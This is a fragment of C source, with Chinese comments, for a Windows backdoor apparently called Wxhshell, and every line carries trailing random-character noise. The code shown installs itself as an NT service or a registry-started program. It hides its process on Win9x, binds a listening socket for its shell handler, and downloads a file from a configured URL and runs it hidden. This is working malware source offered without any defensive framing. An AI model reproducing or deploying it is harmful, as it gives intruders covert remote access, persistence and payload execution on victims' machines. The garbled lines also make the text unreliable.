ULONG InheritedFromUniqueProcessId; -W"0,.Dvg
} PROCESS_BASIC_INFORMATION; |$-d,] V
_WkcJe`
PROCNTQSIP NtQueryInformationProcess; ^T
J
+!Gr`&w*)
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )|1JcnNSa
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j`&i4K:
E;Ftop
HANDLE hProcess; /8-VC"
PROCESS_BASIC_INFORMATION pbi; )jZ=/xG
;{C{V{
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g"AfI
if(NULL == hInst ) return 0; <("w'd}
(6y3"cbe
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wk7_(gT`0
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >+LgJo R
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,$(v#Tz
:[rKSA]@
if (!NtQueryInformationProcess) return 0; uTt:/gm
'ah0IYe
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7CN[Z9Y^}
if(!hProcess) return 0; ;Z~.54Pf{d
JBJ7k19;
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JF\viMfR
<R8Z[H:bV
CloseHandle(hProcess); 5K-)X9z?
YD.^\E4o
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZvKMRW
if(hProcess==NULL) return 0; ;l4\^E1
4'=N{.TtO
HMODULE hMod; s;M*5|-
char procName[255]; Z|GkM5QH:
unsigned long cbNeeded; 3^UsyZS)
w1G.^
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <vuX "
8
H?^#zj`Ex+
CloseHandle(hProcess); :P1c>:j[
M\6v}kUY
if(strstr(procName,"services")) return 1; // 以服务启动 BT#g?=n#`
'U0I.x(
return 0; // 注册表启动 sYP@>tHC
} j7+t@DqQ
!QspmCo+
// 主模块 O;sQPG,v
int StartWxhshell(LPSTR lpCmdLine) .4(f0RG
{ Y"%o\DS*
SOCKET wsl; o+Z9h1z%,
BOOL val=TRUE; 5z>\'a1U
int port=0; :J-5Q]#
struct sockaddr_in door; wKbymmG
4TE ?mh}
if(wscfg.ws_autoins) Install(); 9v2 ;
,e_#
port=atoi(lpCmdLine); 9X` QlJ2|
v|2j~
if(port<=0) port=wscfg.ws_port; 34:EpZO@
LS$82UB&
WSADATA data; ;VRR=p%,
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c`; LF'!
l$ 9,
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; p2(_YN;s
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mkA|gM[g7
door.sin_family = AF_INET; d]`,}vi#E9
door.sin_addr.s_addr = inet_addr("127.0.0.1"); N|S xAg
door.sin_port = htons(port); Uroj%xN
9#6/c
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =fo/+m5
closesocket(wsl); = h( n+y<
return 1; RY<b]|
} RkwY3s"
>cL2PN_y
if(listen(wsl,2) == INVALID_SOCKET) { ;~1JbP
closesocket(wsl); I!D*( >
return 1; /)TEx}wk
} f tDV3If
Wxhshell(wsl); $t}1|q|
WSACleanup(); ]'/]j
|9eY
R
return 0; 3PffQ,c[~
t7FQ.E,T
} ;i>E@
zK?[dO
// 以NT服务方式启动 cO&9(.d
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I1 O?)x~
{ It-*CD9
DWORD status = 0; w-Fk&dC69
DWORD specificError = 0xfffffff; =:eE!
=i?,y +<
serviceStatus.dwServiceType = SERVICE_WIN32; O]eJQ4XN<
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;bE6Y]"Rz
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4V8wB}y7e
serviceStatus.dwWin32ExitCode = 0; 12dW:#[
serviceStatus.dwServiceSpecificExitCode = 0; x$DJ
serviceStatus.dwCheckPoint = 0; faX#KRpfd
serviceStatus.dwWaitHint = 0; 2"mj=}y6
7+4"+CA
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "s9gQAoaO
if (hServiceStatusHandle==0) return; =]"|x7'!
(=V[tI+Ngt
status = GetLastError(); mC(t;{
if (status!=NO_ERROR) !H\GHA'DO]
{ Dj(7'jT
serviceStatus.dwCurrentState = SERVICE_STOPPED; zAJUL
serviceStatus.dwCheckPoint = 0; HYmXPpse
serviceStatus.dwWaitHint = 0; e8<nPt`C
serviceStatus.dwWin32ExitCode = status; %[m1\h"1
serviceStatus.dwServiceSpecificExitCode = specificError; *PU,Rc()6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); cLC7U?-
return; x~tQYK
} Q}]kw}b
#)}bUNc'
serviceStatus.dwCurrentState = SERVICE_RUNNING; S'p`ECfVMA
serviceStatus.dwCheckPoint = 0; $VIq)s2az|
serviceStatus.dwWaitHint = 0; (`?
snMc
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v=-3 ,C
} ABmDSV5i
q.km>XRk~
// 处理NT服务事件,比如:启动、停止 Hd`p_?3]
VOID WINAPI NTServiceHandler(DWORD fdwControl) CT%m_lN
{ wQB{K3
switch(fdwControl) ;XQ lj?:
{ ^oO5t-9<!
case SERVICE_CONTROL_STOP: =c^=Yvc7U
serviceStatus.dwWin32ExitCode = 0; w1(06A}/
serviceStatus.dwCurrentState = SERVICE_STOPPED; Vp"Ug,1
serviceStatus.dwCheckPoint = 0; rss.F3dK
serviceStatus.dwWaitHint = 0; z}2e;d 7
{ g_c)Ts(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -8 =u{n
} 8Flf,"a
return; \[I .
case SERVICE_CONTROL_PAUSE: !H=k7s
serviceStatus.dwCurrentState = SERVICE_PAUSED; |hQ|'VCN
break; %kFELtx
case SERVICE_CONTROL_CONTINUE: [Fj+p4*N
serviceStatus.dwCurrentState = SERVICE_RUNNING; f.)F8!!
break; C_ZD<UPA\
case SERVICE_CONTROL_INTERROGATE: )\\V
s>9
break; Cf=q_\0|W
}; Mq lo:7
^F
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *u;">H*BW
} C!k9 JAa$Z
G,|]a#w&v.
// 标准应用程序主函数 +xBK^5/x
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O| 6\g>ew
{ >VUQTg
KSB_%OI1
// 获取操作系统版本 giPo;z\c
OsIsNt=GetOsVer(); n!eqzr{
GetModuleFileName(NULL,ExeFile,MAX_PATH); s?x>Yl
%
\M"^Oe{Dy?
// 从命令行安装 :`u&TXsu
if(strpbrk(lpCmdLine,"iI")) Install(); Q] yT
3 [)s;e
// 下载执行文件 5ZyBP~
if(wscfg.ws_downexe) { (GcKaUg8*
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &*]{"^
WinExec(wscfg.ws_filenam,SW_HIDE); :e<`U~8m
} mn; 7o~4
~d7Wjn$@
if(!OsIsNt) { +fP/|A8P
// 如果时win9x,隐藏进程并且设置为注册表启动 =Q8H]F
HideProc(); jFNs=D&(
StartWxhshell(lpCmdLine); g
y e(/N+I
} )y/DGSd
else hi3sOK*r;<
if(StartFromService()) NBqV0>vR
// 以服务方式启动 0fPHh>u
StartServiceCtrlDispatcher(DispatchTable); k Kp6
else s\Pt,I@Y_
// 普通方式启动 kBiBXRt
StartWxhshell(lpCmdLine); h/X5w4
Z'}(t,
return 0; yXTK(<'
}